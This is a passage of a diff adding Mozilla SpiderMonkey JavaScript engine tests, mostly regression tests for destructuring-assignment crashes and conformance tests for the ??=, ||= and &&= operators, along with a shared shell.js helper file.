+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with empty object in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:{} }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-346645-02.js b/js/src/tests/non262/expressions/regress-346645-02.js
new file mode 100644
index 0000000000..e5ba3304b9
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346645-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with empty array in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:[] }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-346645-03.js b/js/src/tests/non262/expressions/regress-346645-03.js
new file mode 100644
index 0000000000..feddf1128f
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346645-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with non-empty array in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:[z] }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-394673.js b/js/src/tests/non262/expressions/regress-394673.js
new file mode 100644
index 0000000000..8b22e65f68
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-394673.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 394673;
+var summary = 'Parsing long chains of "&&" or "||"';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var N = 70*1000;
+var counter;
+
+counter = 0;
+var x = build("&&")();
+if (x !== true)
+ throw "Unexpected result: x="+x;
+if (counter != N)
+ throw "Unexpected counter: counter="+counter;
+
+counter = 0;
+var x = build("||")();
+if (x !== true)
+ throw "Unexpected result: x="+x;
+if (counter != 1)
+ throw "Unexpected counter: counter="+counter;
+
+function build(operation)
+{
+ var counter;
+ var a = [];
+ a.push("return f()");
+ for (var i = 1; i != N - 1; ++i)
+ a.push("f()");
+ a.push("f();");
+ return new Function(a.join(operation));
+}
+
+function f()
+{
+ ++counter;
+ return true;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/expressions/regress-418051.js b/js/src/tests/non262/expressions/regress-418051.js
new file mode 100644
index 0000000000..c70462e01a
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-418051.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418051;
+var summary = 'Do not assert: (pnkey)->pn_arity == PN_NULLARY && ' +
+ '((pnkey)->pn_type == TOK_NUMBER || (pnkey)->pn_type == TOK_STRING || ' +
+ '(pnkey)->pn_type == TOK_NAME)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("({x:[]}={x}");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-451340.js b/js/src/tests/non262/expressions/regress-451340.js
new file mode 100644
index 0000000000..02da7bb2f3
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-451340.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451340;
+var summary = 'Do no crash [@ CheckDestructuring]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function x([y]) { }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-96526-argsub.js b/js/src/tests/non262/expressions/regress-96526-argsub.js
new file mode 100644
index 0000000000..0be5878afe
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-96526-argsub.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+
+status = inSection(1);
+actual = f(2,1,[1,2,[3,4]]);
+expect = 42;
+addThis();
+
+
+function f(j,k)
+{
+ status = inSection(2);
+ actual = formatArray(arguments[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(3);
+ actual = formatArray(arguments[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(4);
+ actual = arguments[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(5);
+ actual = arguments[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ return arguments[2][j][k][z];
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/regress-96526-delelem.js b/js/src/tests/non262/expressions/regress-96526-delelem.js
new file mode 100644
index 0000000000..b1fb73836f
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-96526-delelem.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+f(2,1,[-1,0,[1,2,[3,4]]]);
+
+function f(j,k,a)
+{
+ status = inSection(1);
+ actual = formatArray(a[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(2);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(3);
+ actual = a[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(4);
+ actual = a[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ delete a[2][j][k];
+
+ status = inSection(5);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3, ,]);
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/regress-96526-noargsub.js b/js/src/tests/non262/expressions/regress-96526-noargsub.js
new file mode 100644
index 0000000000..e986f1a16a
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-96526-noargsub.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+
+status = inSection(1);
+actual = f(2,1,[-1,0,[1,2,[3,4]]]);
+expect = 42;
+addThis();
+
+
+function f(j,k,a)
+{
+ status = inSection(2);
+ actual = formatArray(a[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(3);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(4);
+ actual = a[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(5);
+ actual = a[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ return a[2][j][k][z];
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/shell.js b/js/src/tests/non262/expressions/shell.js
new file mode 100644
index 0000000000..bc682b79cd
--- /dev/null
+++ b/js/src/tests/non262/expressions/shell.js
@@ -0,0 +1,288 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+(function(global) {
+ function func() {
+ }
+ class C {
+ foo() {
+ }
+ static foo() {
+ }
+ }
+
+ function test_one(pattern, val, opt) {
+ var stmts = [];
+ var i = 0;
+ var c;
+
+ stmts.push(`var ${pattern} = ${val};`);
+
+ for (var stmt of stmts) {
+ if (!opt.no_plain) {
+ eval(`
+${stmt}
+`);
+ }
+
+ if (!opt.no_func) {
+ eval(`
+function f${i}() {
+ ${stmt}
+}
+f${i}();
+`);
+ i++;
+
+ eval(`
+var f${i} = function foo() {
+ ${stmt}
+};
+f${i}();
+`);
+ i++;
+
+ eval(`
+var f${i} = () => {
+ ${stmt}
+};
+f${i}();
+`);
+ i++;
+ }
+
+ if (!opt.no_gen) {
+ eval(`
+function* g${i}() {
+ ${stmt}
+}
+[...g${i}()];
+`);
+ i++;
+
+ eval(`
+var g${i} = function* foo() {
+ ${stmt}
+};
+[...g${i}()];
+`);
+ i++;
+ }
+
+ if (!opt.no_ctor) {
+ eval(`
+class D${i} {
+ constructor() {
+ ${stmt}
+ }
+}
+new D${i}();
+`);
+ i++;
+ }
+
+ if (!opt.no_derived_ctor) {
+ if (opt.no_pre_super) {
+ eval(`
+class D${i} extends C {
+ constructor() {
+ ${stmt}
+ try { super(); } catch (e) {}
+ }
+}
+new D${i}();
+`);
+ i++;
+ } else {
+ eval(`
+class D${i} extends C {
+ constructor() {
+ super();
+ ${stmt}
+ }
+}
+new D${i}();
+`);
+ i++;
+ }
+ }
+
+ if (!opt.no_method) {
+ eval(`
+class D${i} extends C {
+ method() {
+ ${stmt}
+ }
+ static staticMethod() {
+ ${stmt}
+ }
+}
+new D${i}().method();
+D${i}.staticMethod();
+`);
+ i++;
+ }
+ }
+
+ if (!opt.no_func_arg) {
+ eval(`
+function f${i}(${pattern}) {}
+f${i}(${val});
+`);
+ i++;
+
+ eval(`
+var f${i} = function foo(${pattern}) {};
+f${i}(${val});
+`);
+ i++;
+
+ eval(`
+var f${i} = (${pattern}) => {};
+f${i}(${val});
+`);
+ i++;
+ }
+
+ if (!opt.no_gen_arg) {
+ eval(`
+function* g${i}(${pattern}) {}
+[...g${i}(${val})];
+`);
+ i++;
+
+ eval(`
+var g${i} = function* foo(${pattern}) {};
+[...g${i}(${val})];
+`);
+ i++;
+ }
+ }
+
+ function test(expr, opt={}) {
+ var pattern = `[a=${expr}, ...c]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+
+ pattern = `[,a=${expr}]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+ test_one(pattern, "[1, 2]", opt);
+
+ pattern = `[{x: [a=${expr}]}]`;
+ test_one(pattern, "[{x: [1]}]", opt);
+
+ pattern = `[x=[a=${expr}]=[]]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+
+ pattern = `[x=[a=${expr}]=[1]]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+ }
+
+ global.testDestructuringArrayDefault = test;
+})(this);
+
+(function(global) {
+ /*
+ * Date: 07 February 2001
+ *
+ * Functionality common to Array testing -
+ */
+ //-----------------------------------------------------------------------------
+
+
+ var CHAR_LBRACKET = '[';
+ var CHAR_RBRACKET = ']';
+ var CHAR_QT_DBL = '"';
+ var CHAR_QT = "'";
+ var CHAR_NL = '\n';
+ var CHAR_COMMA = ',';
+ var CHAR_SPACE = ' ';
+ var TYPE_STRING = typeof 'abc';
+
+
+ /*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+ function formatArray(arr)
+ {
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+ }
+
+ global.formatArray = formatArray;
+
+ /*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+ function toSource(arr)
+ {
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+ }
+
+ global.toSource = toSource;
+
+ function doubleQuote(text)
+ {
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+ }
+
+
+ function singleQuote(text)
+ {
+ return CHAR_QT + text + CHAR_QT;
+ }
+
+})(this);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js
new file mode 100644
index 0000000000..406f143ead
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js
@@ -0,0 +1,42 @@
+// NamedEvaluation applies to short-circuit assignment.
+
+{
+ let a;
+ a ??= function(){};
+ assertEq(a.name, "a");
+}
+
+{
+ let a = false;
+ a ||= function(){};
+ assertEq(a.name, "a");
+}
+
+{
+ let a = true;
+ a &&= function(){};
+ assertEq(a.name, "a");
+}
+
+// No name assignments for parenthesised left-hand sides.
+
+{
+ let a;
+ (a) ??= function(){};
+ assertEq(a.name, "");
+}
+
+{
+ let a = false;
+ (a) ||= function(){};
+ assertEq(a.name, "");
+}
+
+{
+ let a = true;
+ (a) &&= function(){};
+ assertEq(a.name, "");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js
new file mode 100644
index 0000000000..8499e2fb74
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js
@@ -0,0 +1,90 @@
+// Test assignment to const and function name bindings. The latter is kind of a
+// const binding, but only throws in strict mode.
+
+function notEvaluated() {
+ throw new Error("should not be evaluated");
+}
+
+// AndAssignExpr with const lexical binding.
+{
+ const a = false;
+ a &&= notEvaluated();
+ assertEq(a, false);
+
+ const b = true;
+ assertThrowsInstanceOf(() => { b &&= 1; }, TypeError);
+ assertEq(b, true);
+}
+
+// AndAssignExpr with function name binding.
+{
+ let f = function fn() {
+ fn &&= true;
+ assertEq(fn, f);
+ };
+ f();
+
+ let g = function fn() {
+ "use strict";
+ assertThrowsInstanceOf(() => { fn &&= 1; }, TypeError);
+ assertEq(fn, g);
+ };
+ g();
+}
+
+// OrAssignExpr with const lexical binding.
+{
+ const a = true;
+ a ||= notEvaluated();
+ assertEq(a, true);
+
+ const b = false;
+ assertThrowsInstanceOf(() => { b ||= 0; }, TypeError);
+ assertEq(b, false);
+}
+
+// OrAssignExpr with function name binding.
+{
+ let f = function fn() {
+ fn ||= notEvaluated();
+ assertEq(fn, f);
+ };
+ f();
+
+ let g = function fn() {
+ "use strict";
+ fn ||= notEvaluated();
+ assertEq(fn, g);
+ };
+ g();
+}
+
+// CoalesceAssignExpr with const lexical binding.
+{
+ const a = true;
+ a ??= notEvaluated();
+ assertEq(a, true);
+
+ const b = null;
+ assertThrowsInstanceOf(() => { b ??= 0; }, TypeError);
+ assertEq(b, null);
+}
+
+// CoalesceAssignExpr with function name binding.
+{
+ let f = function fn() {
+ fn ??= notEvaluated();
+ assertEq(fn, f);
+ };
+ f();
+
+ let g = function fn() {
+ "use strict";
+ fn ??= notEvaluated();
+ assertEq(fn, g);
+ };
+ g();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js
new file mode 100644
index 0000000000..256278a938
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js
@@ -0,0 +1,65 @@
+// Test when a declarative binding is deleted.
+
+// ES2020, 8.1.1.1.5 SetMutableBinding ( N, V, S )
+//
+// 1. ...
+// 2. If envRec does not have a binding for N, then
+// a. ...
+// b. Perform envRec.CreateMutableBinding(N, true).
+// c. Perform envRec.InitializeBinding(N, V).
+// d. Return NormalCompletion(empty).
+// 3. ...
+
+// AndAssignExpr
+{
+ let a = 0;
+
+ let f = function() {
+ eval("var a = 1;");
+
+ a &&= (delete a, 2);
+
+ assertEq(a, 2);
+ }
+
+ f();
+
+ assertEq(a, 0);
+}
+
+// OrAssignExpr
+{
+ let a = 1;
+
+ let f = function() {
+ eval("var a = 0;");
+
+ a ||= (delete a, 2);
+
+ assertEq(a, 2);
+ }
+
+ f();
+
+ assertEq(a, 1);
+}
+
+// CoalesceAssignExpr
+{
+ let a = undefined;
+
+ let f = function() {
+ eval("var a = null;");
+
+ a ??= (delete a, 2);
+
+ assertEq(a, 2);
+ }
+
+ f();
+
+ assertEq(a, undefined);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js
new file mode 100644
index 0000000000..2026aa25d1
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js
@@ -0,0 +1,68 @@
+// Test that property keys are only evaluated once.
+
+class PropertyKey {
+ constructor(key) {
+ this.key = key;
+ this.count = 0;
+ }
+
+ toString() {
+ this.count++;
+ return this.key;
+ }
+
+ valueOf() {
+ throw new Error("unexpected valueOf call");
+ }
+}
+
+// AndAssignExpr
+{
+ let obj = {p: true};
+ let pk = new PropertyKey("p");
+
+ obj[pk] &&= false;
+
+ assertEq(obj.p, false);
+ assertEq(pk.count, 1);
+
+ obj[pk] &&= true;
+
+ assertEq(obj.p, false);
+ assertEq(pk.count, 2);
+}
+
+// OrAssignExpr
+{
+ let obj = {p: false};
+ let pk = new PropertyKey("p");
+
+ obj[pk] ||= true;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 1);
+
+ obj[pk] ||= false;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 2);
+}
+
+// CoalesceAssignExpr
+{
+ let obj = {p: null};
+ let pk = new PropertyKey("p");
+
+ obj[pk] ??= true;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 1);
+
+ obj[pk] ??= false;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js
new file mode 100644
index 0000000000..dc1d7a421d
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js
@@ -0,0 +1,191 @@
+// Test scope lookups are executed in the correct order.
+
+function createScope() {
+ let log = [];
+ let environment = {};
+ let scope = new Proxy(environment, new Proxy({
+ has(target, property) {
+ log.push({target, property});
+ return Reflect.has(target, property);
+ },
+ get(target, property, receiver) {
+ log.push({target, property, receiver});
+ return Reflect.get(target, property, receiver);
+ },
+ set(target, property, value, receiver) {
+ log.push({target, property, value, receiver});
+ return Reflect.set(target, property, value, receiver);
+ },
+ getOwnPropertyDescriptor(target, property) {
+ log.push({target, property});
+ return Reflect.getOwnPropertyDescriptor(target, property);
+ },
+ defineProperty(target, property, descriptor) {
+ log.push({target, property, descriptor});
+ return Reflect.defineProperty(target, property, descriptor);
+ },
+ }, {
+ get(target, property, receiver) {
+ log.push(property);
+ return Reflect.get(target, property, receiver);
+ }
+ }));
+
+ return {log, environment, scope};
+}
+
+// AndAssignExpr
+{
+ let {log, environment, scope} = createScope();
+
+ environment.a = true;
+
+ with (scope) {
+ a &&= false;
+ }
+ assertEq(environment.a, false);
+
+ with (scope) {
+ a &&= true;
+ }
+ assertEq(environment.a, false);
+
+ assertDeepEq(log, [
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+
+ // Reference Type, 6.2.4.9 PutValue ( V, W )
+ // Object Environment Records, 8.1.1.2.5 SetMutableBinding ( N, V, S )
+ "set", {target: environment, property: "a", value: false, receiver: scope},
+
+ // Ordinary Objects, 9.1.9 [[Set]] ( P, V, Receiver )
+ // Ordinary Objects, 9.1.9.1 OrdinarySet ( O, P, V, Receiver )
+ // Ordinary Objects, 9.1.9.2 OrdinarySetWithOwnDescriptor ( O, P, V, Receiver, ownDesc )
+ "getOwnPropertyDescriptor", {target: environment, property: "a"},
+ "defineProperty", {target: environment, property: "a", descriptor: {value: false}},
+
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+ ]);
+}
+
+// OrAssignExpr
+{
+ let {log, environment, scope} = createScope();
+
+ environment.a = false;
+
+ with (scope) {
+ a ||= true;
+ }
+ assertEq(environment.a, true);
+
+ with (scope) {
+ a ||= false;
+ }
+ assertEq(environment.a, true);
+
+ assertDeepEq(log, [
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+
+ // Reference Type, 6.2.4.9 PutValue ( V, W )
+ // Object Environment Records, 8.1.1.2.5 SetMutableBinding ( N, V, S )
+ "set", {target: environment, property: "a", value: true, receiver: scope},
+
+ // Ordinary Objects, 9.1.9 [[Set]] ( P, V, Receiver )
+ // Ordinary Objects, 9.1.9.1 OrdinarySet ( O, P, V, Receiver )
+ // Ordinary Objects, 9.1.9.2 OrdinarySetWithOwnDescriptor ( O, P, V, Receiver, ownDesc )
+ "getOwnPropertyDescriptor", {target: environment, property: "a"},
+ "defineProperty", {target: environment, property: "a", descriptor: {value: true}},
+
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+ ]);
+}
+
+// CoalesceAssignExpr
+{
+ let {log, environment, scope} = createScope();
+
+ environment.a = null;
+
+ with (scope) {
+ a ??= true;
+ }
+ assertEq(environment.a, true);
+
+ with (scope) {
+ a ??= false;
+ }
+ assertEq(environment.a, true);
+
+ assertDeepEq(log, [
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
